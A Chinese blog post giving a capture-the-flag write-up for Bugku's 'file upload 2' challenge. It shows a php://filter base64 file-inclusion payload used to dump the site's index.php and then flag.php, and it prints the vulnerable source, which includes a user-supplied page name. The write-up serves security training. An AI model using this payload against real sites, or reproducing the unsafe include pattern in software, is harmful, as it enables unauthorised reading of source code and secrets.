美文网首页
bugku文件上传2(湖湘杯)

bugku文件上传2(湖湘杯)

作者: 牛一喵 | 来源:发表于2018-11-03 14:38 被阅读0次

打开网站,是一个上传文件的网页,那我们先按照要求上传png文件试试,上传图片说打不开图片,陷入迷茫。

那应该不是靠一句话菜刀,因为根本加载不出来,我觉得不可能没有php代码,于是在op后面构造

op=index.php 提示我们不存在这样的页面 但事实是存在的

op=index 没有出现提示 但页面是空的

op=php://filter/read=convert.base64-encode/resource=index

结果得到

<?php

error_reporting(0);

define('FROM_INDEX', 1);

$op = empty($_GET['op']) ? 'home' : $_GET['op'];

if(!is_string($op) || preg_match('/\.\./', $op))

    die('Try it again and I will kill you! I freaking hate hackers!');

ob_start('ob_gzhandler');

function page_top($op) {

?><!DOCTYPE html>

<html>

<head>

<meta charset="UTF-8">

<title>Panduploader::<?= htmlentities(ucfirst($op)); ?></title>

</head>

<body>

<div id="header">

<center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center>

</div>

<div id="body">

<?php

}

function fatal($msg) {

?><div class="article">

<h2>Error</h2>

<p><?=$msg;?></p>

</div><?php

exit(1);

}

function page_bottom() {

?>

    </div>

    <center>

<div id="footer">

<div>

<p>

<span>2017 &copy; </span> All rights reserved.

</p>

</div>

</div>

</center>

</body>

</html><?php

ob_end_flush();

}

register_shutdown_function('page_bottom');

page_top($op);

if(!(include $op . '.php'))

    fatal('no such page');

?>

通过这个分析,大概懂了为什么文件加.php提醒没有此页面的原因。

通过御剑后台扫描扫描出后台的信息,有flag.php页面,则

op=php://filter/read=convert.base64-encode/resource=flag

则获得flag的base64加密后的数据,进行解密,获得flag。

相关文章

  • bugku文件上传2(湖湘杯)

    打开网站,是一个上传文件的网页,那我们先按照要求上传png文件试试,上传图片说打不开图片,陷入迷茫。 那应该不是靠...

  • bugku ctf之文件上传2

    打开题目链接http://47.93.190.246:49166/ 看到file还有题目名就想包含一下,当然是尝试...

  • bugku 文件包含2

    打开看到提示有upload.php页面,则 上传test.php.jpg,可以成功上传,上传后,我们进入成功的页面...

  • 湖湘杯2017

    WEB random 扫描发现源码泄露.index.php.swp 不巧和上个周湖南赛的比赛题目一样我们可以看到源...

  • 湖湘杯 easyheap

    湖湘杯easyheap writeup off-by-null 思路 leak heap leak libc ch...

  • Int 0x80 ROP链(x86)

    2017年湖湘杯的一道pwn题 2017 湖湘杯 pwn300 用memcpy把堆中数据向栈上写的时候造成栈溢出 ...

  • requests文件上传

    1、普通文件上传 2、定制化文件上传 3、多文件上传 4、流式上传

  • [2018湖湘杯] writesup

    随便做了选择题,进了复赛,然后打了一下,挺多原题的....,就感觉pwn300还行 题目链接 签到 single ...

  • 湖湘杯 RGB杂项

    最近做的题总结一下,wireshark 获取文件,然后拿到了一个flag.zip 解压发现了一个 ce.txt.

  • Bugku-杂项-2B-WriteUp

    Bugku-杂项-2B-WriteUp 题目地址:2B 考察要点: 文件分离 zip伪加密 图片隐写 解题步骤 1...

网友评论

      本文标题:bugku文件上传2(湖湘杯)

      本文链接:https://www.haomeiwen.com/subject/cdqkxqtx.html